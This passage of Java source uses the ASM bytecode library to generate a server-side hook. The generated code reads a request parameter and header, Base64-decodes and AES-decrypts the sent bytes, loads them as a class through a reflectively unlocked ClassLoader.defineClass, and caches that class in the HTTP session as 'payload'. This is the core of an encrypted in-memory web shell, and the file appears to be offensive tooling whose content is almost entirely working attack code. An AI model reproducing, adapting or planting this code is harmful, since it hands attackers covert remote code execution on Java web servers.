mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("encode");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
|
||||
|
||||
mv.visitLabel(afterBase64Encode);
|
||||
}
|
||||
|
||||
private void defineClassWhenFirstInvoke(int defineClassIndex, int dataIndex, int payloadClassIndex, int sessionIndex) {
|
||||
// Define class from bytes
|
||||
// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
|
||||
// byte[].class, int.class, int.class);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/ClassLoader;"));
|
||||
mv.visitLdcInsn("defineClass");
|
||||
mv.visitInsn(Opcodes.ICONST_3);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
|
||||
"Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
|
||||
"Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class",
|
||||
"getDeclaredMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, defineClassIndex); // Store defineClass in local var 23
|
||||
|
||||
// defineClass.setAccessible(true);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"setAccessible", "(Z)V", false);
|
||||
|
||||
// Class<?> payload = (Class<?>)
|
||||
// defineClass.invoke(Thread.currentThread().getContextClassLoader(),
|
||||
// data, 0, data.length);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread",
|
||||
"()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread",
|
||||
"getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitInsn(Opcodes.ICONST_3);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.ARRAYLENGTH);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, payloadClassIndex); // Store payload class in local var 24
|
||||
|
||||
// session.getClass().getMethod("setAttribute", String.class, Object.class)
|
||||
// .invoke(session, "payload", payload);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("setAttribute");
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("payload");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, payloadClassIndex); // Load payload class
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// If first-time class loading - return true
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
}
|
||||
|
||||
private void getSessionPayload(int requestIndex, int sessionIndex, int sessionPayloadIndex) {
|
||||
// Get session
|
||||
// Object session =
|
||||
// request.getClass().getMethod("getSession").invoke(request);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getSession");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, sessionIndex); // Store session in local var 21
|
||||
|
||||
// Get sessionPayload
|
||||
// Object sessionPayload = session.getClass().getMethod("getAttribute",
|
||||
// String.class)
|
||||
// .invoke(session, "payload");
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getAttribute");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("payload");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, sessionPayloadIndex); // Store sessionPayload in local var 22
|
||||
}
|
||||
|
||||
private void decryptData(int cipherClassIndex, int secretKeySpecClassIndex, int keyClassIndex, int cipherInitMethodIndex, int doFinalMethodIndex, int cipherIndex, int keyIndex, int secretKeySpecIndex, int dataIndex) {
|
||||
// Load crypto classes
|
||||
// Class<?> cipherClass = Class.forName("javax.crypto.Cipher"...
|
||||
mv.visitLdcInsn("javax.crypto.Cipher");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cipherClassIndex); // Store cipherClass in local var 14
|
||||
|
||||
// Class<?> secretKeySpecClass =
|
||||
// Class.forName("javax.crypto.spec.SecretKeySpec"...
|
||||
mv.visitLdcInsn("javax.crypto.spec.SecretKeySpec");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecClassIndex); // Store secretKeySpecClass in local var 15
|
||||
|
||||
// Class<?> keyClass = Class.forName("java.security.Key"...
|
||||
mv.visitLdcInsn("java.security.Key");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, keyClassIndex); // Store keyClass in local var 16
|
||||
|
||||
// Get cipher methods
|
||||
// Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitLdcInsn("init");
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, keyClassIndex); // Load keyClass
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cipherInitMethodIndex); // Store cipherInitMethod in local var 17
|
||||
|
||||
// Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitLdcInsn("doFinal");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("[B"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, doFinalMethodIndex); // Store doFinalMethod in local var 18
|
||||
|
||||
// Create cipher and secret key
|
||||
// Object cipher = cipherClass.getMethod("getInstance",
|
||||
// String.class).invoke(cipherClass, "AES");
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitLdcInsn("getInstance");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("AES");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cipherIndex); // Store cipher in local var 19
|
||||
|
||||
// Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class,
|
||||
// String.class)
|
||||
// .newInstance(key.getBytes(), "AES");
|
||||
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecClassIndex); // 加载 secretKeySpecClass
|
||||
mv.visitInsn(Opcodes.ICONST_2); // 构造函数参数数量为 2
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); // 创建 Class[] 数组
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
|
||||
mv.visitLdcInsn(Type.getType("[B")); // byte[].class
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); // String.class
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getConstructor",
|
||||
"([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", false);
|
||||
|
||||
// 准备构造函数参数
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
|
||||
|
||||
// 调用 key.getBytes()
|
||||
mv.visitVarInsn(Opcodes.ALOAD, keyIndex); // 加载 key
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
|
||||
mv.visitInsn(Opcodes.AASTORE); // 存储 byte[] 到参数数组
|
||||
|
||||
// 存储第二个参数 "AES"
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
|
||||
mv.visitLdcInsn("AES"); // 加载字符串 "AES"
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Constructor", "newInstance",
|
||||
"([Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecIndex); // Store secretKeySpec in local var 20
|
||||
|
||||
|
||||
// Initialize cipher for decryption
|
||||
// cipherInitMethod.invoke(cipher, 2, secretKeySpec);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load
|
||||
// cipherInitMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitInsn(Opcodes.ICONST_2); // Constant 2 for Cipher.DECRYPT_MODE
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
|
||||
"(I)Ljava/lang/Integer;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// Decrypt data
|
||||
// data = (byte[]) doFinalMethod.invoke(cipher, data);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store updated data in local var 10
|
||||
}
|
||||
|
||||
private void getParameterValue(int requestIndex, int passIndex, int curParameterIndex) {
|
||||
// String parameter = (String) request.getClass().getMethod("getParameter",
|
||||
// String.class).invoke(request, pass);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke getParameter
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, passIndex); // Load pass
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, curParameterIndex); // Store parameter in local var 9
|
||||
}
|
||||
|
||||
private void getHeaderValue(int requestIndex, int headerNameIndex, int curHeaderIndex) {
|
||||
// String value = (String) request.getClass().getMethod("getHeader",
|
||||
// String.class).invoke(request, headerName);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getHeader");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke getHeader
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, headerNameIndex); // Load headerName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, curHeaderIndex); // Store value in local var 8
|
||||
}
|
||||
|
||||
private void tryDecodeBase64(int base64ClassIndex, int decoderClassIndex, int curParameterIndex, int dataIndex,
|
||||
int base64ExceptionIndex) {
|
||||
// Try to use java.util.Base64 decoder first
|
||||
Label base64DecodeTrialStart = new Label();
|
||||
Label base64DecodeCatch = new Label();
|
||||
Label afterBase64Decode = new Label();
|
||||
|
||||
mv.visitTryCatchBlock(base64DecodeTrialStart, base64DecodeCatch, base64DecodeCatch, "java/lang/Exception");
|
||||
|
||||
mv.visitLabel(base64DecodeTrialStart);
|
||||
|
||||
// Class<?> clazz = Class.forName("java.util.Base64", true,
|
||||
// Thread.currentThread().getContextClassLoader());
|
||||
mv.visitLdcInsn("java.util.Base64");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store Base64 class in local var 11
|
||||
|
||||
// Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(clazz,
|
||||
// null);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class
|
||||
mv.visitLdcInsn("getDecoder");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class as the target
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder object in local var 12
|
||||
|
||||
// byArray = (byte[])object.getClass().getMethod("decode",
|
||||
// String.class).invoke(object, string7);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("decode");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
